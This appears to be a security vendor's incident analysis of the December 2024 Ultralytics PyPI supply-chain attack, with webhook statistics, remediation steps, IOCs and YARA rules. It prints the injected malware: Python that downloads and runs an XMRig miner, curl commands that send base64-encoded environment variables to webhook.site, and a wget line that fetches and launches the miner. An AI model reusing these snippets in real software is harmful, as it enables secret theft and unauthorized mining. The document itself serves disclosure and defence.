Introduction
A major supply chain attack affecting the widely used Ultralytics Python package occurred between December 4th and December 7th. The attacker initially compromised the GitHub actions workflow to bundle malicious code directly into four project releases on PyPi and Github, deploying an XMRig crypto miner to victim machines. The malicious packages were available to download for over 12 hours before being taken down, potentially resulting in a substantial number of victims. This blog investigates the data retrieved from the attacker-defined webhooks and whether or not a malicious model was involved in the attack. Leveraging statistics from the webhook data, we can also postulate the potential scope of exposure during the window in which the attack was active.
Overview
Supply chain attacks are now an uncomfortably familiar occurrence, with several high-profile attacks having happened in recent years, affecting products, packages, and services alike. Package repositories such as PyPi constitute a lucrative opportunity for adversaries, who can leverage industry reliance and limited vulnerability scanning to deploy malware, either through package compromise or typosquatting.
On December 5th, 2024, several user reports indicated that the Ultralytics library had potentially been compromised with a crypto miner and that users of Google Colab who had leveraged this dependency had found that they had been banned from the service due to ‘suspected abusive activity’.
The initial compromise targeted GitHub actions. The attacker exploited the CI/CD system to insert malicious files directly into the release of the Ultralytics package prior to publishing via PyPi. Subsequent compromises appear to have inserted malicious code into packages that were directly published on PyPi by the attacker.
Ultralytics is a widely used project in vision tasks, leveraging their state-of-the-art Yolo11 vision model to perform tasks such as object recognition, image segmentation, and image classification. The Ultralytics project boasts over 33.7k stars on GitHub and 61 million downloads, with several high-profile dependent projects such as ComfyUI-Impact-Pack, adetailer, MinerU, and Eva.
For a comprehensive and detailed explanation of how the attacker compromised GitHub Actions to inject code into the Ultralytics release, we highly recommend reading the following blog: https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection
There are four affected versions of the Ultralytics Python package:
- 8.3.41
- 8.3.42
- 8.3.45
- 8.3.46
Initial Compromise of Ultralytics GitHub Repo
The initial attack leading to the compromise in the Ultralytics package occurred on December 4th, 2024, when a GitHub user named openimbot exploited a GitHub Actions Script injection by opening two draft pull requests in the Ultralytics actions repository. In these draft pull requests, the branch name contained a malicious payload that downloaded and ran a script called file.sh, which has since been deleted.
This attack affected two versions of Ultralytics, 8.3.41 and 8.3.42, respectively.
8.3.41 and 8.3.42
In versions 8.3.41 and 8.3.42 of the Ultralytics package, malicious code was inserted into two key files:
- /models/yolo/model.py
- /utils/downloads.py
The code’s purpose was to download and execute an XMRig cryptocurrency miner, which enabled unauthorized mining on compromised systems for Monero, a cryptocurrency with anonymity features.
model.py
Malicious code was added to detect the victim’s operating system and architecture, download an appropriate XMRig payload for Linux or macOS, and execute it using the safe_run function defined in downloads.py:
from ultralytics.utils.downloads import safe_download, safe_run
class YOLO(Model):
"""YOLO (You Only Look Once) object detection model."""
def __init__(self, model="yolo11n.pt", task=None, verbose=False):
"""Initialize YOLO model, switching to YOLOWorld if model filename contains '-world'."""
environment = platform.system()
if "Linux" in environment and "x86" in platform.machine() or "AMD64" in platform.machine():
safe_download(
"665bb8add8c21d28a961fe3f93c12b249df10787",
progress=False,
delete=True,
file="/tmp/ultralytics_runner", gitApi=True
)
safe_run("/tmp/ultralytics_runner")
elif "Darwin" in environment and "arm64" in platform.machine():
safe_download(
"5e67b0e4375f63eb6892b33b1f98e900802312c2",
progress=False,
delete=True,
file="/tmp/ultralytics_runner", gitApi=True
)
safe_run("/tmp/ultralytics_runner")
downloads.py
Another function, called safe_run, was added to downloads.py file. This function executes the downloaded XMRig cryptocurrency miner payload from model.py and deletes it after execution, minimizing traces of the attack:
def safe_run(
path
):
"""Safely runs the provided file, making sure it is executable..
"""
os.chmod(path, 0o770)
command = [
path,
'-u',
'4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
'-o',
'connect.consrensys.com:8080',
'-k'
]
process = subprocess.Popen(
command,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
preexec_fn=os.setsid,
close_fds=True
)
os.remove(path)
While these package versions would be the first to be attacked, they would not be the last.
Further Compromise of Ultralytics Python Package
After the developers discovered the initial compromise, remediated releases of the Ultralytics package were published; these versions (8.3.43 and 8.3.44) didn’t contain the malicious payload. However, the payload was reintroduced in a different file in versions 8.3.45 and 8.3.46, this time only in the Ultralytics PyPi package and not in GitHub.
Analysis performed by the community strongly suggests that in the initial attack, the adversary was able to either steal the PyPi token or take full control of Ultralytics’ CEO, Glenn Jocher’s PyPi account (pypi/u/glenn-jocher), allowing them to upload the new malicious versions.
8.3.45
In the second attack, malicious code was introduced into the __init__.py file. This code was designed to execute immediately upon importing the module, exfiltrating sensitive information, including:
- Base64 encoded environment variables.
- Directory listing of the current working directory.
The data was transmitted to one of two webhooks, depending on the victim’s operating system (Linux or macOS).
if "Linux" in platform.system():
os.system("curl -d \"$(printenv | base64 -w 0)\" https://webhook[.]site/ecd706a0-f207-4df2-b639-d326ef3c2fe1")
os.system("curl -d \"$(ls -la)\" https://webhook[.]site/ecd706a0-f207-4df2-b639-d326ef3c2fe1")
elif "Darwin" in platform.system():
os.system("curl -d \"$(printenv | base64)\" https://webhook[.]site/1e6c12e8-aaeb-4349-98ad-a7196e632c5a")
os.system("curl -d \"$(ls -la)\" https://webhook[.]site/1e6c12e8-aaeb-4349-98ad-a7196e632c5a")
Webhooks
webhook[.]site is a legitimate service that enables users to create webhooks to receive and inspect incoming HTTP requests and is widely used for testing and debugging purposes. However, threat actors sometimes exploit this service to exfiltrate sensitive data and test malicious payloads.
Prepending /#!/view/ to the webhook[.]site URLs found in the __init__.py file allowed us to access detailed information about the incoming requests. In this case, the attackers utilized the unpaid version of the service, which limited the data collected per webhook to the first 100 requests.
Webhook: ecd706a0-f207-4df2-b639-d326ef3c2fe1 (Linux)
- First Request: 2024-12-07 01:42:36
- Last Request: 2024-12-07 01:43:19
- Number of Requests: 100
- Number of Unique IPs: 24
- Running in Docker: 45
- Not Running in Docker: 5
- Running in Google Colab with GPU: 2
- Running in GitHub Actions: 44
- Running in SageMaker: 4
Webhook: 1e6c12e8-aaeb-4349-98ad-a7196e632c5a (macOS)
- First Request: 2024-12-07 01:43:01
- Last Request: 2024-12-07 01:44:11
- Number of Requests: 96
- Number of Unique IPs: 10
- Running in Docker: 46
- Not Running in Docker: 0
- Running in Google Colab with GPU: 0
- Running in GitHub Actions: 50
- Running in SageMaker: 0
While the free version of webhook[.]site limits data collection to the first 100 requests, the macOS webhook only recorded 96 requests. Further investigation revealed that four requests were deleted from the webhook. We confirmed this by attempting to post additional data to the macOS webhook, which returned the following error, verifying that the rate limit of 100 requests had been reached:
We are unable to determine definitively why these requests were deleted. One possibility is that the attacker intentionally removed earlier requests to eliminate evidence of testing activity.
The logs also track the environment variables and files in the current working directory, so we were able to ascertain that the exploit was executed via GitHub Actions, Google Colab, and AWS SageMaker.
Potential Exposure
From the webhook data, we can observe interesting data points — it took approximately 43 seconds for the Linux webhook to hit the 100 requests limit and 70 seconds for macOS, offering insight into the potential numerical scale of exploited servers.
Over the elapsed time that it took each webhook to hit its maximum request limit, we observed the following rate of adoption:
1 Linux machine every .92 seconds (43 seconds / 50 servers)
1 macOS machine every 1.4 seconds (70 seconds / 50 servers)
It’s worth noting that this number will not linearly increase, but it gives an indication of how fast the attack took place.
While we cannot confirm how long the attacks remained active, we can ascertain the duration in which each version was live until the next release.
8.3.46
Finally, malicious code was again added to the __init__.py file. This code specifically targeted Linux systems, downloading and executing another XMRig payload, and removed the POST request to the webhook.
if "Linux" in platform.system():
os.system("wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz && tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz && cd xmrig-6.22.2 && nohup ./xmrig -u 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD -o pool.supportxmr.com:8080 -p worker &")
We believe the attacker used version 8.3.45 to collect data on macOS and Linux targets before releasing 8.3.46, which focused solely on Linux, as supported by the brief active period of 8.3.45.
Were Backdoored Models Involved?
A comment on the ComfyUI-Impact-Pack incident report from a user called Skillnoob alludes to several Ultralytics models being flagged as malicious on Hugging Face:
Upon closer inspection, we are confident that these detections are false positives relating to detections within HF Picklescan and Protect AI’s Guardian. The detections are triggered based solely on the use of getattr in the model’s data.pkl. The use of getattr in these Ultralytics models appears genuine and is used to obtain the forward method from the Detect class, which implements a PyTorch neural network module:
from ultralytics.nn.modules.head import Detect
_var7331 = getattr(Detect, 'forward')
Despite reports that the model was hijacked, there is no indication that a malicious serialized machine-learning model was employed in this attack, instead only code edits were made to model classes in Python source code.
What Does This Mean For You?
HiddenLayer recommends checking all systems hosting Python environments that may have been exposed to any of the affected Ultralytics packages for signs of compromise.
Affected Versions
The one-liner below can be used to determine the version of Ultralytics installed in your Python environment:
import pkg_resources; print(pkg_resources.get_distribution('ultralytics').version)
Remediation
If the version of Ultralytics belongs to one of the compromised releases (8.3.41, 8.3.42, 8.3.45, or 8.3.46), or you think you may have been compromised, consider taking the following actions:
- Uninstall the Ultralytics Python package.
- Verify that the miner isn’t running by checking running processes.
- Terminate the ultralytics_runner process if present.
- Remove the ultralytics_runner binary from the /tmp directory (if present).
- Perform a full anti-virus scan of any affected systems.
- Check bills on AWS SageMaker, Google Colab, or other cloud services.
- Check the affected system’s environment variables to ensure no secrets were leaked.
- Refresh access tokens if required, and check for potential misuse.
The following IOCs were collected as part of the SAI research team’s investigation of this incident and the provided YARA rules can be run on a system to detect if the malicious package is installed.
Indicators of Compromise
Indicator | Type | Description |
b6ea1681855ec2f73c643ea2acfcf7ae084a9648f888d4bd1e3e119ec15c3495 | SHA256 | ultralytics-8.3.41-py3-none-any.whl |
15bcffd83cda47082acb081eaf7270a38c497b3a2bc6e917582bda8a5b0f7bab | SHA256 | ultralytics-8.3.41.tar.gz |
f08d47cb3e1e848b5607ac44baedf1754b201b6b90dfc527d6cefab1dd2d2c23 | SHA256 | ultralytics-8.3.42-py3-none-any.whl |
e9d538203ac43e9df11b68803470c116b7bb02881cd06175b0edfc4438d4d1a2 | SHA256 | ultralytics-8.3.42.tar.gz |
6a9d121f538cad60cabd9369a951ec4405a081c664311a90537f0a7a61b0f3e5 | SHA256 | ultralytics-8.3.45-py3-none-any.whl |
c9c3401536fd9a0b6012aec9169d2c1fc1368b7073503384cfc0b38c47b1d7e1 | SHA256 | ultralytics-8.3.45.tar.gz |
4347625838a5cb0e9d29f3ec76ed8365b31b281103b716952bf64d37cf309785 | SHA256 | ultralytics-8.3.46-py3-none-any.whl |
ec12cd32729e8abea5258478731e70ccc5a7c6c4847dde78488b8dd0b91b8555 | SHA256 | ultralytics-8.3.46.tar.gz |
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d | SHA256 | XMRig ELF binary |
hxxps://webhook[.]site/ecd706a0-f207-4df2-b639-d326ef3c2fe1 | URL | Linux webhook |
hxxps://webhook[.]site/1e6c12e8-aaeb-4349-98ad-a7196e632c5a | URL | macOS webhook |
connect[.]consrensys[.]com | Domain | Mining pool |
/tmp/ultralytics_runner | Path | XMRig path |
Yara Rules
rule safe_run
{
meta:
description = "Detects safe_run() function used to download XMRig miner in Ultralytics package compromise."
strings:
$s1 = "Safely runs the provided file, making sure it is executable.."
$s2 = "connect.consrensys.com"
$s3 = "4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw"
$s4 = "/tmp/ultralytics_runner"
condition:
any of them
}
rule webhook_site
{
meta:
description = "Detects webhook.site domain"
strings:
$s1 = "webhook.site"
condition:
any of them
}
rule xmrig_downloader
{
meta:
description = "Detects os.system command used to download XMRig miner in Ultralytics package compromise."
strings:
$s1 = "os.system(\"wget https://github.com/xmrig/xmrig/"
condition:
any of them
}